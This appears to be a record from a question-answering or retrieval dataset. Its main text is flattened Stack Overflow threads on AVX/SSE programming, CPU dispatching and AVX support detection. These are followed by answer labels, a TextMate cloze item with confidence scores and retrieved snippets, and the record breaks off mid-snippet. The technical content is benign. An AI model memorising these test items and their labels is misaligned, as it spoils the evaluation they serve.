Comment : David this code will only almost work on x64 and x86 . The thing is CPUID also sets EBX so you need to save retore EBX since Delphi requires this . Now if you do that by PUSH POP EBX that will not compile on Win64 because it expects PUSH + reg64 .. .", "Question : I would like to horizontally sum the components of a m256 vector using AVX instructions . In SSE I could use .. . .. . to get the result at the first component of the vector but this does not scale with the 256 bit version of the function mm256 hadd ps . What is the best way to compute the horizontal sum of a m256 vector Comment : use sse to compute horizontal sum of the lower part shuffle YMM high low parts use sse again and sum up the two scalars . or wait for avx2 . Comment : Is this inside a loop or is it just a one-off operation Comment : It s inside an outer loop where there is another inner loop . Comment : See also this 128b SSE answer http : stackoverflow.com a 35270026 224132 for more optimal lower latency fewer uops alternatives to haddps after you ve done the vextractf128 addps step . .. . Answer : This version should be optimal for both Intel Sandy Ivy Bridge and AMD Bulldozer : Comment : There are some weird corner cases when performance is decode-bound where using haddps instead would confer a benefit but generally this is very reasonable . Comment : On Bulldozer haddps is microcoded . Moreover it will generate 3 macrooperations while the code above uses only 2 for partial reduction . Comment : which is why I said weird corner cases they are very rare and truly weird . Comment : Doesn t the use of SSE instructions like mm movehl ps with 256bit AVX instructions incur a state change penalty Comment : SSE instructions do cause state change penalty but if you compile for AVX instruction sets mm movehl ps and the likes would generate AVX forms of the instructions VMOVHLPS in this particular case .", "Question : I have compiled a piece of code with the option -xSSE4.1 using the Intel compiler . When I looked at the generated assembly file I see that AVX instructions such as vpmovzxbw have been inserted . But the executable still seems to run on machines that don t support the AVX instruction-set . What explains this Here s the particular code snippet - .. . .. . Here s another snippet where the assembly instruction uses 3 operands - .. . .. . For comparison here s the disassembly generated by icc for the function foo The only difference between the function foo and the code snippet above is that the code snippet was coded using intrinsics - Comment : felixcloutier.com x86 PMOVZX.html http : www.felixcloutier.com x86 PMOVZX.html You probably confuse with VPMOVZXBW Comment : pmovzx is sse41 . vpmovzxbw is avx . Check link https : software.intel.com en-us node 524007 Comment : Maybe it generates an AVX version of some things but only runs it after doing a run-time check that the system supports AVX Post a snipped of disassembly including the binary machine code so we can make sure it s really the VEX-encoding . Ideally set a breakpoint at that instruction and make sure it actually ever runs too if you have a debugger on a pre-AVX machine . Comment : Can you please show your code compiler-options compiler version and the assembly generated . Comment : ICC generates a CPU dispatcher according to Agner Fog . He goes into a lot of detail about this . I don t know how it works . I assumed it would apply to libraries and not to your own code . But my experience with ICC in the past had trouble getting ICC to generated the code I told it to http : stackoverflow.com questions 17031192 intel-c-compiler-icc-seems-to-ingnore-sse-avx-seetings . .. . Answer : The Intel compiler can https : computing.llnl.gov set code page intel vector .. . .. . generate a single executable with multiple levels of vectorization with the -ax flag .. . .. . For example to generate code which is compatible with AVX SSE4.1 and SSE2 to use -axAVX -axSSE4.2 -xSSE2 . Since you compiled with -axAVX -xSSE4.1 Intel generated a AVX branch and a SSE4.1 branch and at runtime it determines which instruct set is available and chooses that . Agner Fog has a good description of Intel s CPU dispatcher in his Optimizing C++ manaul http : www.agner.org optimize optimizing cpp.pdf . See section 13.7 CPU dispatching in Intel compiler . Intel s CPU dispatcher is not ideal for several reasons one of which is that it plays bad on AMD which Agner describes in detail . Personally I would make my own dispatcher . .. . .. . I compiled the following code with ICC 13.0 with options -O3 -axavx -xsse2 .. . .. . and the start of the assembly is .. . .. . going to the Z3fooPfi.R branch find the main AVX loop .. . .. . going to the Z3fooPfi.A branch has the main SSE loop Comment : but when I use an SSE41 intrinsic I would expect an SSE41 assembly instruction . The options I have used will only tell the compiler to create two variants of the same function where applicable and switch between them runtime . Comment : @ashwin your code would crash if it only generated AVX instructions on a machine without AVX . It must be generating SSE code but you just have not found it yet . Comment : I understand that the code should crash . Hence my question : . If you sift through my previous comments you should have noticed that I have tested this on an SSE42 machine and it ran fine . Probably as you said I have not found the SSE code yet but I doubt it since I have looked through the disassembly generated on both Windows and Linux which were on two different versions of the icc compiler BTW and these were the only instructions I found between the function begin and end Comment : @ashwin the resason I said it must have SSE code is because you said n previous comments that you testted on a machine without AVX . That s why I asked you to post your code not just a single line instruction . Why don t you write a short simple version which can reproduce your results . It should be easy to make a little foo function to do this . Comment : @ashwin you can also compile with only -xSSE4.1 and look at the assembly and then compare with -axAVX -xSSE4.1 .", "Question : My C++ code uses SSE and now I want to improve it to support AVX when it is available . So I detect when AVX is available and call a function that uses AVX commands . I use Win7 SP1 + VS2010 SP1 and a CPU with AVX . To use AVX it is necessary to include this : .. . .. . and then you can use intrinsics AVX functions like mm256 mul ps mm256 add ps etc . The problem is that by default VS2010 produces code that works very slowly and shows the warning : .. . .. . warning C4752 : found Intel R Advanced Vector Extensions consider using arch : AVX .. . .. . It seems VS2010 actually does not use AVX instructions but instead emulates them . I added arch : AVX to the compiler-options and got good results . But this option tells the compiler to use AVX commands everywhere when possible . So my code may crash on CPU that does not support AVX So the question is how to make VS2010 compiler to produce AVX code but only when I specify AVX intrinsics directly . For SSE it works I just use SSE intrinsics functions and it produce SSE code without any compiler-options like arch : SSE . But for AVX it does not work for some reason . Comment : In my question I specified that my CPU supports AVX . Actually I has several systems some with AVX and some without so I see what happens when AVX is not supported . .. . Answer : tl dr .. . .. . Use mm256 zeroupper https : software.intel.com en-us node 514196 or mm256 zeroall https : software.intel.com en-us node 514195 around sections of code using AVX before or after depending on function arguments . Only use option arch : AVX for source files with AVX rather than for an entire project to avoid breaking support for legacy-encoded SSE-only code paths . Cause .. . .. . I think the best explanation is in the Intel article Avoiding AVX-SSE Transition Penalties https : software.intel.com en-us articles avoiding-avx-sse-transition-penalties PDF https : software.intel.com sites default files m d 4 1 d 8 11MC12 Avoiding 2BAVX-SSE 2BTransition 2BPenalties 2Brh 2Bfinal.pdf . The abstract states : .. . .. . Transitioning between 256-bit Intel AVX instructions and legacy Intel SSE instructions within a program may cause performance penalties because the hardware must save and restore the upper 128 bits of the YMM registers . Separating your AVX and SSE code into different compilation units may NOT help if you switch between calling code from both SSE-enabled and AVX-enabled object-files because the transition may occur when AVX instructions or assembly are mixed with any of from the Intel paper : .. . .. . 128-bit intrinsic instructions .. . SSE inline-assembly .. . C C++ floating-point code that is compiled to Intel SSE .. . Calls to functions or libraries that include any of the above .. . .. . This means there may even be penalties when linking with external code using SSE . Details .. . .. . There are 3 processor states defined by the AVX instructions and one of the states is where all of the YMM http : en.wikipedia.org wiki Advanced Vector Extensions Advanced Vector Extensions registers are split allowing the lower half to be used by SSE instructions http : en.wikipedia.org wiki Streaming SIMD Extensions . The Intel document Intel AVX State Transitions : Migrating SSE Code to AVX https : software.intel.com en-us articles intel-avx-state-transitions-migrating-sse-code-to-avx provides a diagram of these states : .. . .. . enter image description here http : i.stack.imgur.com L5hAR.jpg .. . .. . When in state B AVX-256 mode all bits of the YMM registers are in use . When an SSE instruction is called a transition to state C must occur and this is where there is a penalty . The upper half of all YMM registers must be saved into an internal buffer before SSE can start even if they happen to be zeros . The cost of the transitions is on the order of 50-80 clock cycles on Sandy Bridge hardware . There is also a penalty going from C - A as diagrammed in Figure 2 . You can also find details about the state switching penalty causing this slowdown on page 130 Section 9.12 Transitions between VEX http : en.wikipedia.org wiki VEX prefix and non-VEX modes in Agner Fog s optimization guide http : www.agner.org optimize microarchitecture.pdf of version updated 2014-08-07 referenced in Mystical s answer http : stackoverflow.com a 7841251 2778484 . According to his guide any transition to from this state takes about 70 clock cycles on Sandy Bridge . Just as the Intel document states this is an avoidable transition penalty . Resolution .. . .. . To avoid the transition penalties you can either remove all legacy SSE code instruct the compiler to convert all SSE instructions to their VEX encoded form of 128-bit instructions if compiler is capable or put the YMM registers in a known zero state before transitioning between AVX and SSE code . Essentially to maintain the separate SSE code path you must zero out the upper 128-bits of all 16 YMM registers issuing a VZEROUPPER instruction after any code that uses AVX instructions . Zeroing these bits manually forces a transition to state A and avoids the expensive penalty since the YMM values do not need to be stored in an internal buffer by hardware . The intrinsic that performs this instruction is mm256 zeroupper https : software.intel.com en-us node 514196 . The description for this intrinsic is very informative : .. . .. . This intrinsic is useful to clear the upper bits of the YMM registers when transitioning between Intel Advanced Vector Extensions Intel AVX instructions and legacy Intel Supplemental SIMD Extensions Intel SSE instructions . There is no transition penalty if an application clears the upper bits of all YMM registers sets to 0 via VZEROUPPER the corresponding instruction for this intrinsic before transitioning between Intel Advanced Vector Extensions Intel AVX instructions and legacy Intel Supplemental SIMD Extensions Intel SSE instructions . In Visual Studio 2010+ maybe even older you get this intrinsic https : msdn.microsoft.com en-us library hh977023 v vs.110 .aspx with immintrin.h . Note that zeroing out the bits with other methods does not eliminate the penalty - the VZEROUPPER or VZEROALL instructions must be used . One automatic solution implemented by the Intel Compiler is to insert a VZEROUPPER at the beginning of each function containing Intel AVX code if none of the arguments are a YMM register or m256 m256d m256i datatype and at the end of functions if the returned value is not a YMM register or m256 m256d m256i datatype . In the wild .. . .. . This VZEROUPPER solution is used by FFTW to generate a library with both SSE and AVX support . See simd-avx.h https : github.com FFTW fftw3 blob master simd-support simd-avx.h L355 : .. . .. . Then VLEAVE is called at the end of every function using intrinsics for AVX instructions .", "Question : I work with two computers . One without AVX support and one with AVX . It would be convenient to have my code find the instruction-set supported by my CPU at run-time and choose the appropriate code path . I ve follow the suggestions by Agner Fog to make a CPU dispatcher http : www.agner.org optimize vectorclass . However on my maching ithout AVX compiling and linking with visual-studio the code with AVX enabled causes the code to crash when I run it . I mean for example I have two source files one with the SSE2 instruction-set defined with some SSE2 instructions and another one with the AVX instruction-set defined and with some AVX instructions . In my main function if I only reference the SSE2 functions the code still crashes by virtue of having any source code with AVX enabled and with AVX instructions . Any clues to how I can fix this Edit : Okay I think I isolated the problem . I m using Agner Fog s vector class and I have defined three source files as : .. . .. . This crashes . If I instead use Vec4f in func SSE2 it does not crash . I don t understand this . I can use Vec8f with SSE2 by itself as long as I don t have another source file with AVX . Agner Fog s manual says .. . .. . There is no advantage in using the 256-bit floating-point vector classes Vec8f Vec4d unless the AVX instruction-set is specified but it can be convenient to use these classes anyway if the same source code is used with and without AVX . Each 256-bit vector will simply be split up into two 128-bit vectors when compiling without AVX . However when I have two source files with Vec8f one compiled with SSE2 and one compiled with AVX then I get a crash . Edit2 : I can get it to work from the command-line .. . .. . Edit3 : This however crashes .. . .. . Another clue . Apparently the order of linking matters . It crashes if avx.obj is before sse2.obj but if sse2.obj is before avx.obj it does not crash . I m not sure if it chooses the correct code path I don t have access to my AVX system right now but at least it does not crash . Comment : What are the details of the crash Have you identified the failing instruction in a debugger Comment : Well the debugger shows that func SSE is trying to use the AVX instructions . I don t know why . But I managed to get the code to work without crashing using the command-line . I added the commands above . I still don t know how to do it with the IDE . On the plus side I compiled from the command-line for the first time in Windows It s the only way I compile on Linux . Comment : Did you use link-time code-generation from the IDE Comment : No I m not using link-time code-generation . But I tried it and it made no difference . Comment : I found another clue . It crashes if avx.obj is before sse2.obj but it works otherwise . .. . Answer : Put the SSE and AVX functions in different CPP files and be sure to compile SSE version wihout arch : AVX . Comment : That s exactly what I did . Comment : That just run it under debugger . When the CPU will generate invalid instruction exception you will see the origin of this instruction . It is likely that your non-AVX CPU doesn t support some SSE instructions you use . There are many generations of SSE instructions : SSE SSE2 SSE3 SSSE3 SSE4.1 SSE4.2 and SSE4A includes SSE3 but not SSSE3 SSE4.1 or SSE4.2 . Comment : My CPU supports up to SSE4.2 . I checked it with CPU-Z . But I m now trying a stripped down version of the code without the vectorclass and it s working . I ll have to get back to you.. . Comment : I added some text to my question that may help explain things .", "Question : I want to implement a 64-bit transpose operation using only avx not avx2 . It should do this : .. . .. . This is how it would look with avx2 : .. . .. . This is the most efficient workaround without avx2 I could come up with using 3 avx instructions : .. . .. . The problem is that most avx swizzle operations e.g . unpack are operating on 128-bit lanes and do not cross the lane boundary . Can anyone produce a more efficient implementation Thanks a lot Comment : codereview.stackexchange.com http : codereview.stackexchange.com - in my opinion this is the more appropriate site for such questions . Comment : @Gluttton : I disagree - optimisation questions are perfectly on-topic here - codereview is more for working code that can be improved idiomatically or stylistically . Comment : @Ralf : I doubt you ll improve on your current 3 instruction solution given all the limitations of AVX but maybe someone will prove me wrong . Comment : @PaulR Non-specific optimization questions are on-topic on Code Review . However there is a specific question in the title of this question so I think it s a fine Stack Overflow question . Comment : stackoverflow.com questions 19516585 https : stackoverflow.com questions 19516585 shifting-sse-avx-registers-32-bits-left-and-right-while-shifting-in-zeros .. . Answer : I think 3 instructions is the best you can do . mm256 blend pd is very cheap like vblendps and vpblendd running on 2 ports in SnB IvB and all 3 vector execution ports in Haswell and later . i.e . as cheap as a vector XOR or AND . The other two both need the shuffle port and that s unavoidable . You will have a bypass delay of 1 cycle on SnB-family CPUs when vblendpd forwards its data from the FP domain to an integer instruction . Although with AVX1 there aren t any 256b integer instructions to forward to . source : see Agner Fog s insn tables linked from the x86 questions tagged x86 tag wiki . His Optimizing Assembly guide also has some nice tables of shuffles but doesn t focus on the in-lane challenges of AVX AVX2 . .. . .. . This pattern is almost achievable with two instructions but not quite . vshufpd mm256 shuffle pd http : www.felixcloutier.com x86 SHUFPD.html gives you an in-lane 2-source shuffle but with limitations on the data movement . Like the original SSE2 version each destination element can only come from a fixed source element . The 8-bit immediate has room to encode two selections from four source elements but they kept the hardware simple and only used a 1 bit selector for each dest element . The 256b version does allow a different shuffle for each 128b lane so 4 bits of the imm8 are significant for vpshufd ymm . Anyway since the upper lane need to take its high element from the original but the low lane needs to take its high element from the perm128 vector neither choice of src1 src2 ordering can do what we need . .. . .. . vshufpd I think is a byte shorter to encode than vpermilpd imm8 . The only use-case for the immediate forms of vpermilps vpermilpd seems to be as a load-and-shuffle . vshufpd only works as a full in-lane shuffle when both source operands are the same . IDK if vpermildp might use less energy or something since it only has one source . Of course compilers can use whatever instructions they want to get the job done they re allowed to optimize code using intrinsics the same way they optimize code using the + operator which doesn t always compile to an add instruction . Clang actually does basically ignore attempts at instruction-choice using intrinsics since it represents shuffles in its own internal format and optimizes them .", "Question : Is the following code valid to check if a CPU supports the SSE3 instruction-set Using the IsProcessorFeaturePresent function apparently does not work on Windows XP see http : msdn.microsoft.com en-us library ms724482 v vs.85 .aspx . Comment : It seems correct as far as I can tell from reading Intel 64 and IA-32 Architectures Software Developer s Manual Volume 2 2A 2B : Instruction Set Reference A-Z page 284 . Also bit 9 of CPUInfo 2 signals supplemental SSE3 instructions . Comment : SSE3 and AVX and CLMUL and MOVD are different features and they are tested separately . From the Intel manual cited by Norbert page 3-189 : Software must confirm that a processor feature is present using feature flags returned by CPUID prior to using the feature . Software should not depend on future offerings retaining all features . So don t depend upon AVX availability just because SSE3 is present . Comment : Also CPU support is different than OS support . See Andy s answer below . .. . Answer : Mysticial s answer is a bit dangerous -- it explains how to detect CPU support but not OS support . You need to use xgetbv to check whether the OS has enabled the required CPU extended state . See here http : insufficientlycomplicated.wordpress.com 2011 11 07 detecting-intel-advanced-vector-extensions-avx-in-visual-studio for another source . Even gcc has made the same mistake . http : gcc.gnu.org bugzilla show bug.cgi id 55307 The meat of the code is : Comment : +1 so I didn t have to look up and test it myself . I ll keep my answer specific to whether the CPU supports it and point to yours about proper OS support for 256-bit AVX . Comment : @Andy - I think this answer might answer another related question I have . Would you mind visiting Test for SSE2 using CPUID versus trying SSE2 instruction and SIGILL http : stackoverflow.com q 32087056", "Question : I have learned that some Intel AMD CPUs can do simultanous multiply and add with SSE AVX : .. . FLOPS per cycle for sandy-bridge and haswell SSE2 AVX AVX2 http : stackoverflow.com questions 15655835 flops-per-cycle-for-sandy-bridge-and-haswell-sse2-avx-avx2 . I like to know how to do this best in code and I also want to know how it s done internally in the CPU . I mean with the super-scalar architecture . Let s say I want to do a long sum such as the following in SSE : .. . .. . My question is how does this get converted to simultaneous multiply and add Can the data be dependent I mean can the CPU do mm add ps sum mm mul ps a1 b1 simultaneously or do the registers used in the multiplication and add have to be independent Lastly how does this apply to FMA with Haswell Is mm add ps sum mm mul ps a1 b1 automatically converted to a single FMA instruction or micro-operation .. . Answer : I tested the following code in GCC 5.3 Clang 3.7 ICC 13.0.1 and MSVC 2015 compiler version 19.00 . With the right compiler-options see below every compiler will generate a vfmadd instruction e.g . vfmadd213ss from mul add . However only MSVC fails to contract mul addv to a single vfmadd instruction e.g . vfmadd213ps . The following compiler-options are sufficient to generate vfmadd instructions except with mul addv with MSVC . GCC 4.9 will not contract mul addv to a single fma instruction but since at least GCC 5.1 it does . I don t know when the other compilers started doing this .", "Question : I work with two computers . One without AVX support and one with AVX . It would be convenient to have my code find the instruction-set supported by my CPU at run-time and choose the appropriate code path . I ve follow the suggestions by Agner Fog to make a CPU dispatcher http : www.agner.org optimize vectorclass . However on my maching ithout AVX compiling and linking with visual-studio the code with AVX enabled causes the code to crash when I run it . I mean for example I have two source files one with the SSE2 instruction-set defined with some SSE2 instructions and another one with the AVX instruction-set defined and with some AVX instructions . In my main function if I only reference the SSE2 functions the code still crashes by virtue of having any source code with AVX enabled and with AVX instructions . Any clues to how I can fix this Edit : Okay I think I isolated the problem . I m using Agner Fog s vector class and I have defined three source files as : .. . .. . This crashes . If I instead use Vec4f in func SSE2 it does not crash . I don t understand this . I can use Vec8f with SSE2 by itself as long as I don t have another source file with AVX . Agner Fog s manual says .. . .. . There is no advantage in using the 256-bit floating-point vector classes Vec8f Vec4d unless the AVX instruction-set is specified but it can be convenient to use these classes anyway if the same source code is used with and without AVX . Each 256-bit vector will simply be split up into two 128-bit vectors when compiling without AVX . However when I have two source files with Vec8f one compiled with SSE2 and one compiled with AVX then I get a crash . Edit2 : I can get it to work from the command-line .. . .. . Edit3 : This however crashes .. . .. . Another clue . Apparently the order of linking matters . It crashes if avx.obj is before sse2.obj but if sse2.obj is before avx.obj it does not crash . I m not sure if it chooses the correct code path I don t have access to my AVX system right now but at least it does not crash . Comment : What are the details of the crash Have you identified the failing instruction in a debugger Comment : Well the debugger shows that func SSE is trying to use the AVX instructions . I don t know why . But I managed to get the code to work without crashing using the command-line . I added the commands above . I still don t know how to do it with the IDE . On the plus side I compiled from the command-line for the first time in Windows It s the only way I compile on Linux . Comment : Did you use link-time code-generation from the IDE Comment : No I m not using link-time code-generation . But I tried it and it made no difference . Comment : I found another clue . It crashes if avx.obj is before sse2.obj but it works otherwise . .. . Answer : I realise that this is an old question and that the person who asked it appears to be no longer around but I hit the same problem yesterday . Here s what I worked out . When compiled both your sse2.cpp and avx.cpp files produce object-files that not only contain your function but also any required template functions . e.g . Vec8f : : load These template functions are also compiled using the requested instruction-set . The means that your sse2.obj and avx.obj object-files will both contain definitions of Vec8f : : load each compiled using the respective instruction sets . However since the compiler treats Vec8f : : load as externally visible it puts it a COMDAT section of the object file with a selectany aka pick any label . This tells the linker that if it sees multiple definitions of this symbol for example in 2 different object-files then it is allowed to pick any one it likes . It does this to reduce duplicate code in the final executable which otherwise would be inflated in size by mutliple definitions of template and inline-functions . The problem you are having is directly related to this in that the order of the object-files passed to the linker is affecting which one it picks . Specifically here it appears to be picking the first definition it sees . If this was avx.obj then the AVX compiled version of Vec8F : : load will always be used . This will crash on a machine that doesn t support that instruction-set . On the other hand if sse2.obj is first then the SSE2 compiled version will always be used . This won t crash but it will only use SSE2 instructions even if AVX is supported . That this is the case can be seen if you look at the linker map file output produced using the map option . Here are the relevant edited excerpts - .. . .. . As for fixing it that s another matter . In this case the following blunt hack should work by forcing the avx version to have its own differently named versions of the template functions . This will increase the resulting executable size as it will contain multiple versions of the same function even if the sse2 and avx versions are identical . There are some important limitations though - a if the included file manages any form of global state it will no longer be truly global as you will have 2 semi-global versions and b you won t be able to pass vectorclass variables as parameters between other code and functions defined in avx.cpp . Comment : I asked this question . I managed to get it to work . I don t know what the problem was . But it works fine for me now . Try it with cmake stackoverflow.com questions 23808094 https : stackoverflow.com questions 23808094 create-separate-object-files-from-the-same-source-code-and-link-to-an-executable", "Question : The Intel Advanced Vector Extensions AVX offers no dot-product in 256-bit version ymm register for double precision floating-point variables . The Why question have been very briefly treated in another forum here http : www.amdzone.com phpbb3 viewtopic.php f 532 t 139130 and on SO here http : stackoverflow.com questions 16033266 intel-avx-why-is-there-no-256-bits-version-of-dot-product-for-double-precision . But the question I am facing is how to replace this missing instruction with other AVX instructions in an efficient way The dot-product in 256-bit version exists for single precision FP variables ref here http : denali.princeton.edu IntelXe2011 compiler c main cls intref cls common intref avx dp ps.htm : .. . .. . The idea is to find an efficient equivalent for this missing instruction : .. . .. . Thanks for your suggestions . Edit : .. . .. . To be more specific the code i would like to transform from m128 4 floats to m256d 4 doubles use the following instructions : .. . .. . The result-of this code is a m128 vector of 4 floats containing the results of the dot products between val1 and val0 val2 and val0 val3 and val0 val4 and val0 . Maybe this can give hints for the suggestions Comment : @VJovic Make that an answer and I vote it down . Comment : Thanks for the idea but I should keep double precision in my application . Comment : Besides the conversion+float dot-product would take more time than the double dot-product . .. . Answer : I would extend drhirsch s answer http : stackoverflow.com a 10454420 733582 to perform two dot products at the same time saving some work : .. . .. . Then dot x y is in the low double and dot z w is in the high double of dotproduct .", "Question : How can I disable auto-vectorization with AVX and FMA instructions I would still prefer the compiler to employ SSE and SSE2 automatically but not FMA and AVX . My code that uses AVX checks for its availability but GCC doesn t do it when auto-vectorizing . So if I compile with -mfma and run the code on any CPU prior to Haswell I get SIGILL . How to solve this issue Comment : What you want is a CPU dispatcher . Compile your code with -msse2 into one object file and -mfma into another then create a dispatcher which asks CPUID which hardware is available and set your function-pointers to point to either the SSE2 or AVX FMA versions stackoverflow.com questions 23676426 https : stackoverflow.com questions 23676426 disable-avx2-functions-on-non-haswell-processors 23677889 23677889 Comment : @Zboson : Yep that s what I did . Make it an answer and I will accept . Comment : Recent gcc lets you use intrinsics without -mfma or -mavx . You can also specify the target per function . .. . Answer : What you want to do is compile different object-files for each instruction-set you are targeting . Then create a cpu dispatcher which asks CPUID for the available instruction-set and then jumps to the appropriate version of the function . I already described this in several different questions and answers .. . .. . disable-avx2-functions-on-non-haswell-processors https : stackoverflow.com questions 23676426 disable-avx2-functions-on-non-haswell-processors 23677889 23677889 .. . .. . do-i-need-to-make-multiple-executables-for-targetting-different-instruction-set https : stackoverflow.com questions 22161682 do-i-need-to-make-multiple-executables-for-targetting-different-instruction-sets 22166828 22166828 .. . .. . how-to-check-with-intel-intrinsics-if-avx-extensions-is-supported-by-the-cpu https : stackoverflow.com questions 24260490 how-to-check-with-intel-intrinsics-if-avx-extensions-is-supported-by-the-cpu 24265862 24265862 .. . .. . cpu-dispatcher-for-visual-studio-for-avx-and-sse https : stackoverflow.com questions 15406658 cpu-dispatcher-for-visual-studio-for-avx-and-sse .. . .. . create-separate-object-files-from-the-same-source-code-and-link-to-an-executable https : stackoverflow.com questions 23808094 create-separate-object-files-from-the-same-source-code-and-link-to-an-executable", "Question : The Intel Advanced Vector Extensions AVX offers no dot-product in 256-bit version ymm register for double precision floating-point variables . The Why question have been very briefly treated in another forum here http : www.amdzone.com phpbb3 viewtopic.php f 532 t 139130 and on SO here http : stackoverflow.com questions 16033266 intel-avx-why-is-there-no-256-bits-version-of-dot-product-for-double-precision . But the question I am facing is how to replace this missing instruction with other AVX instructions in an efficient way The dot-product in 256-bit version exists for single precision FP variables ref here http : denali.princeton.edu IntelXe2011 compiler c main cls intref cls common intref avx dp ps.htm : .. . .. . The idea is to find an efficient equivalent for this missing instruction : .. . .. . Thanks for your suggestions . Edit : .. . .. . To be more specific the code i would like to transform from m128 4 floats to m256d 4 doubles use the following instructions : .. . .. . The result-of this code is a m128 vector of 4 floats containing the results of the dot products between val1 and val0 val2 and val0 val3 and val0 val4 and val0 . Maybe this can give hints for the suggestions Comment : @VJovic Make that an answer and I vote it down . Comment : Thanks for the idea but I should keep double precision in my application . Comment : Besides the conversion+float dot-product would take more time than the double dot-product . .. . Answer : I would use a 4 double multiplication then a hadd which unfortunately adds only 2 2 floats in the upper and lower half extract the upper half a shuffle should work equally maybe faster and add it to the lower half . The result is in the low 64 bit of dotproduct . Edit : .. . After an idea of Norbert P . I extended this version to do 4 dot products at one time . Comment : Thanks for the suggestion this works well . I have edited my question in order to be more specific . Comment : Downvoter care to explain Comment : Thanks Could you explain the last line I am not shure to understand it well . Isn t it mm256 add pd Comment : @drhirsch : great idea . But gleeen.gould is right you need an extra shuffle . I recommend : m256d swapped mm256 permute2f128 pd temp01 temp23 0x21 m256d mixed mm256 blend pd temp01 temp23 12 m256d dotproduct mm256 add pd swapped mixed . The sole reason being that VPERM2F128 takes 2 cycles vs . 1 cycle of VBLENDPD . Hope I got the constants right Comment : @gleeen.gould : Is AVX2 already out I thought it was coming to Haswell in 2013 http : en.wikipedia.org wiki Advanced Vector Extensions CPUs with AVX2 . I was talking about the current generation of AVX on Sandy Bridge : see Agner Fog s instruction tables http : www.agner.org optimize instruction tables.pdf p . 129 .", "Question : I have an image drawing routine which is compiled multiple times for SSE SSE2 SSE3 SSE4.1 SSE4.2 AVX and AVX2 . My program dynamically dispatches one of these binary variations by checking CPUID flags . On Windows I check the version of Windows and disable AVX AVX2 dispatch if the OS doesn t support them . For example only Windows 7 SP1 or later supports AVX AVX2 . I want to do the same thing on Mac OS X but I m not sure what version of OS X supports AVX AVX2 . Note that what I want to know is the minimum version of OS X for use with AVX AVX2 . Not machine models which are capable of AVX AVX2 . Comment : You may find this command in Terminal shell to be useful sysctl -a grep -i avx to see CPU features . Comment : stackoverflow.com questions 6121792 https : stackoverflow.com questions 6121792 how-to-check-if-a-cpu-supports-the-sse3-instruction-set 22521619 22521619 .. . Answer : For detecting instruction-set features there are two source files I reference : .. . .. . 1 . Mysticial s cpu x86.cpp https : github.com Mysticial FeatureDetector blob master src x86 cpu x86.cpp .. . 2 . Agner Fog s instrset detect.cpp http : www.agner.org optimize vectorclass .. . .. . Both of these files will tell you how to detect SSE through AVX2 as well as XOP FMA3 FMA4 if your OS supports AVX and other features . I am used to Agner s code one source file for MSVC GCC Clang ICC so let s look at that first . Here are the relevant code fragments from instrset detect.cpp for detecting AVX : .. . .. . with xgetbv defined as .. . .. . I did not include the cpuid function see the source code and I removed the non GCC inline-assembly from xgetbv to make the answer shorter . Here is the detect OS AVX from Mysticial s cpu x86.cpp for detecting AVX : .. . .. . Mystical apparently came up with this solution from this answer https : stackoverflow.com questions 6121792 how-to-check-if-a-cpu-supports-the-sse3-instruction-set 22521619 22521619 . Notice that both source files do basically the same thing : check the OSXSAVE bit 27 check the AVX bit 28 from CPUID check a result from xgetbv . Comment : Thank you very much for kind explanation . I understood very well . Now I know I had a bad idea . The correct way is like Step1 : Get OSXSAVE bit to check if OS allows XGETBV instruction . Step2 : Get AVX AVX2 bits . Step3 : Issue XGETBV and check if OS saves YMM registers . However I guess the answer for my question is Mac OS X 10.6.7 : - Comment : @TABATA did you want a computer answer or a human answer Computer answers lead to crashes literally . Several Tesla s have crashed recently due to computer answers . I don t think the restrictive filter of SO should lead to a higher rate of people failing the Turing test.. . Comment : Surely . I ve already implemented the way you told me . Thanks again . I should have simply asked the steps to check AVX capability not a OS version . I ll try writing a simple question next time . Comment : @TABATA : you can edit your question to take out the mistaken idea of looking at OS version and just ask how to detect if AVX AVX2 is usable in a program . Now that you know the answer isn t OS-specific you can tidy up the question even more if you want to . But it might not hurt to leave some mention of Windows and OS X in there since people searching in the future might have the same idea as you and be looking for the Windows way or the OS X way ." ] }
[ "yes-answer-long", "yes-answer-short" ]
intel
UNK_RELATION
textmate2@github@70
textmate2 -- latest version of textmate which is now open sourced on @placeholder .
{ "confidence": [ 35.03681564331055, 32.66322326660156, 31.838977813720703, 31.642276763916016, 31.612361907958984, 30.397083282470703, 29.40907096862793, 29.285417556762695, 29.17066192626953, 28.92338752746582, 28.54932403564453, 28.473892211914062, 28.009849548339844, 27.95384407043457, 27.843225479125977, 27.66277313232422, 27.506248474121094, 27.506248474121094, 27.17225456237793, 26.944276809692383, 26.863895416259766, 26.657262802124023, 26.308242797851562, 26.308242797851562, 26.233949661254883, 26.04973602294922, 26.03804588317871, 25.907485961914062, 25.612764358520508, 25.598011016845703, 25.598011016845703, 25.576759338378906, 25.576759338378906, 25.576759338378906, 25.534395217895508, 25.466419219970703, 25.105941772460938, 24.8533935546875, 24.83361053466797, 24.700637817382812, 24.66765594482422, 24.60492515563965, 24.58062744140625, 24.58062744140625, 24.58062744140625, 24.58062744140625, 24.515941619873047, 24.472660064697266, 24.472660064697266, 24.472660064697266, 24.39228057861328, 24.10529327392578, 23.94468879699707, 23.82890510559082, 23.734722137451172, 23.598052978515625, 23.41603660583496, 23.381309509277344, 23.381309509277344, 23.381309509277344, 23.375032424926758, 23.375032424926758, 23.13052749633789, 23.105144500732422, 23.105144500732422, 23.105144500732422, 23.105144500732422, 23.07412338256836, 22.98257064819336, 22.819337844848633, 22.819337844848633, 22.819337844848633, 22.819337844848633, 22.819337844848633, 22.819337844848633, 22.819337844848633, 22.819337844848633, 22.607357025146484, 22.607357025146484, 22.55133628845215, 22.51605224609375, 22.381778717041016, 22.381778717041016, 22.28448486328125, 22.26651954650879, 22.259000778198242, 22.259000778198242, 22.183303833007812, 22.183303833007812, 22.17045783996582, 22.10865020751953, 22.0242919921875, 21.95049285888672, 21.888160705566406, 21.725976943969727, 21.722515106201172, 21.704605102539062, 21.533292770385742, 21.533292770385742, 21.451820373535156 ], "content": [ "I m using the latest version of Textmate 2 .. . .. .", "I actually solved it by upgrading TextMate2 to version 9113 .", ".. . .. . Update : If you re able to get this working and are willing to build your own textmate via the official instructions https : github.com textmate textmate then you might have a crack a building and maybe even contributing to my fold guides enabled version of TextMate2 https : github.com loadedsith textmate tree testBranch .", "I m using textmate2 for editing my XML files .", "As you know version 2 of TextMate is on the way and the current development version is very promising : https : github.com textmate textmate blob master README.md .. . .. . In my case I am using R in terminal MacOSX Mountain Lion and I develop my code with TextMate2 .", "To get this UUID open the command s file in TextMate .", "What version of TextMate are you using", "Edit : There has been an update https : github.com textmate textmate commit 